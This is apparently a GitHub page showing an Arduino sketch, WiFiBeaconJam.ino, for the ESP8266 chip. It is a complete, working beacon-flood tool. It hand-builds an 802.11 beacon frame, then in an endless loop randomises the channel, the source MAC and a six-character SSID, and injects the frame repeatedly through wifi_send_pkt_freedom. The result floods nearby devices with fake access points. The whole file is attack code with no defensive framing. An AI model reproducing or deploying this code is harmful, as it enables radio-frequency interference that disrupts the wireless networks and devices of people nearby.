-
Notifications
You must be signed in to change notification settings - Fork 73
/
WiFiBeaconJam.ino
64 lines (49 loc) · 1.77 KB
/
WiFiBeaconJam.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
byte channel;
// Beacon Packet buffer
uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00,
/*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
/*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
/*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
/*22*/ 0xc0, 0x6c,
/*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
/*32*/ 0x64, 0x00,
/*34*/ 0x01, 0x04,
/* SSID */
/*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
0x01, 0x08, 0x82, 0x84,
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
/*56*/ 0x04};
void setup() {
delay(500);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
}
void loop() {
// Randomize channel //
channel = random(1,12);
wifi_set_channel(channel);
// Randomize SRC MAC
packet[10] = packet[16] = random(256);
packet[11] = packet[17] = random(256);
packet[12] = packet[18] = random(256);
packet[13] = packet[19] = random(256);
packet[14] = packet[20] = random(256);
packet[15] = packet[21] = random(256);
// Randomize SSID (Fixed size 6. Lazy right?)
packet[38] = alfa[random(65)];
packet[39] = alfa[random(65)];
packet[40] = alfa[random(65)];
packet[41] = alfa[random(65)];
packet[42] = alfa[random(65)];
packet[43] = alfa[random(65)];
packet[56] = channel;
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet, 57, 0);
delay(1);
}